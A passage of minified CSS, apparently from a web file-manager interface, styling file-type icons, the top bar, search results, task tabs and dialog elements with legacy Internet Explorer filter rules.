\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out 